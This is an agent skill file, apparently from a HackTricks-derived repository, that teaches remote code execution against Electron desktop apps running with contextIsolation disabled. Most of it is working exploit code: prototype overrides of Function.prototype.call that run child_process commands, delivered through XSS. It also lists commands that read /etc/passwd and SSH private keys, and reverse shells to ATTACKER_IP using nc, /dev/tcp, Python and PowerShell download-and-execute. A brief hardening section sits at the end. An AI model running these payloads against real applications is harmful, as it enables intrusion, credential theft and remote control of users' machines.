Hacktricks-skills electron-contextisolation-exploit
How to exploit Electron apps with disabled contextIsolation to achieve RCE. Use this skill whenever you're pentesting Electron desktop applications, analyzing Electron security, investigating context isolation bypasses, or need to demonstrate prototype pollution attacks in Electron. Trigger this for any Electron app security assessment, especially when you see renderer process access to Node.js APIs, or when investigating RCE vulnerabilities in Electron-based software.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code/SKILL.MDElectron ContextIsolation RCE Exploitation
This skill helps you exploit Electron applications that have
contextIsolation: false or nodeIntegration: true, allowing renderer process access to Node.js internals for remote code execution.
When to Use This Skill
- Pentesting Electron desktop applications
- Security assessments of Electron-based software
- Investigating context isolation bypasses
- Demonstrating prototype pollution attacks in Electron
- Analyzing Electron security configurations
Core Concepts
The Vulnerability
When Electron apps disable
contextIsolation, the renderer process can access Node.js internal objects. The key attack vector is the process object, which contains references to require and other Node.js APIs.
Attack Surface
- Internal event listeners - Electron sets up internal event handlers that reference the
objectprocess - Prototype pollution - Overwriting
or similar methodsFunction.prototype.call - Direct process access - When
, direct access tonodeIntegration: trueprocess.mainModule.require
Exploitation Techniques
Technique 1: Function.prototype.call Override
This exploits the internal "exit" event listener that Electron sets up during page loading.
Payload:
Function.prototype.call = function (process) { process.mainModule.require("child_process").execSync("YOUR_COMMAND_HERE") } location.reload() // Triggers the "exit" event
How it works:
- Electron's internal code sets up
during page loadprocess.on("exit", ...) - When the page reloads, the "exit" event fires
- The handler's
method receives the.call()
objectprocess - By overriding
, we intercept this and execute arbitrary codeFunction.prototype.call
Usage:
// Inject into renderer process const exploit = ` Function.prototype.call = function (process) { if (process && process.mainModule && process.mainModule.require) { process.mainModule.require("child_process").execSync("whoami"); } } location.reload(); `; const script = document.createElement('script'); script.textContent = exploit; document.head.appendChild(script);
Technique 2: Prototype Pollution via Object.defineProperty
When direct prototype access is restricted, use
Object.defineProperty to pollute the prototype chain.
Payload:
// Leak the require function through prototype pollution Object.defineProperty(Function.prototype, 'call', { get: function() { return function(process) { if (process && process.mainModule) { const { execSync } = process.mainModule.require('child_process'); execSync('YOUR_COMMAND_HERE'); } }; } }); // Trigger the exploit location.reload();
Technique 3: Direct Process Access (nodeIntegration: true)
If
nodeIntegration is enabled, you can directly access Node.js APIs:
// Direct RCE when nodeIntegration is true const { execSync } = require('child_process'); execSync('YOUR_COMMAND_HERE'); // Or via process object process.mainModule.require('child_process').execSync('YOUR_COMMAND_HERE');
Detection and Verification
Check if Context Isolation is Disabled
// In renderer process, check for Node.js access function checkNodeAccess() { const checks = { hasProcess: typeof process !== 'undefined', hasRequire: typeof require !== 'undefined', hasNodeIntegration: process && process.versions && process.versions.node, hasContextIsolation: process && process.contextIsolation }; console.log('Node.js Access Check:', checks); return checks.hasProcess || checks.hasRequire; }
Check for Vulnerable Configuration
Look for these patterns in the Electron app's main process:
// Vulnerable - contextIsolation disabled webContents.setWindowOpenHandler(() => { return { action: 'allow', overrideBrowserWindowOptions: { webPreferences: { contextIsolation: false } } } }); // Vulnerable - nodeIntegration enabled BrowserWindow({ webPreferences: { nodeIntegration: true, contextIsolation: false } });
Practical Exploitation Workflow
Step 1: Reconnaissance
- Identify the Electron app and its version
- Check for XSS vectors (file upload, URL parameters, stored content)
- Verify renderer process access to Node.js APIs
Step 2: Payload Delivery
Choose delivery method based on available XSS vector:
- Reflected XSS: Inject payload via URL parameters
- Stored XSS: Inject payload via file upload or form submission
- DOM XSS: Inject payload via JavaScript-controlled DOM
Step 3: Command Execution
// Generic payload template function executeCommand(command) { Function.prototype.call = function (process) { if (process && process.mainModule && process.mainModule.require) { try { const { execSync } = process.mainModule.require('child_process'); execSync(command); } catch (e) { console.error('Exploit failed:', e); } } }; location.reload(); } // Example commands executeCommand('whoami'); executeCommand('id'); executeCommand('cat /etc/passwd'); executeCommand('nc -e /bin/sh ATTACKER_IP 4444');
Common Commands for Testing
// Basic reconnaissance 'whoami' 'id' 'hostname' 'pwd' // File access 'cat /etc/passwd' 'ls -la ~' 'cat ~/.ssh/id_rsa' // Reverse shell (Linux) 'nc -e /bin/bash ATTACKER_IP 4444' 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' // Reverse shell (macOS) '/usr/bin/env python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"' // Reverse shell (Windows) 'powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/rev.ps1')"'
Mitigation and Hardening
For Developers
- Enable contextIsolation:
webPreferences: { contextIsolation: true, nodeIntegration: false, sandbox: true }
- Use preload scripts for controlled IPC:
// preload.js contextBridge.exposeInMainWorld('api', { readFile: (path) => ipcRenderer.invoke('read-file', path) });
- Disable Node.js in renderer:
webPreferences: { nodeIntegration: false, contextIsolation: true }
For Security Teams
- Audit Electron apps for
contextIsolation: false - Check for
in production buildsnodeIntegration: true - Review preload scripts for proper context isolation
- Test for prototype pollution vulnerabilities
References
Important Notes
- Legal: Only use these techniques on systems you own or have explicit permission to test
- Version Specific: Exploits may vary by Electron version
- Detection: Modern Electron versions have improved security; test against the target version
- Defense in Depth: Even with contextIsolation enabled, other vectors may exist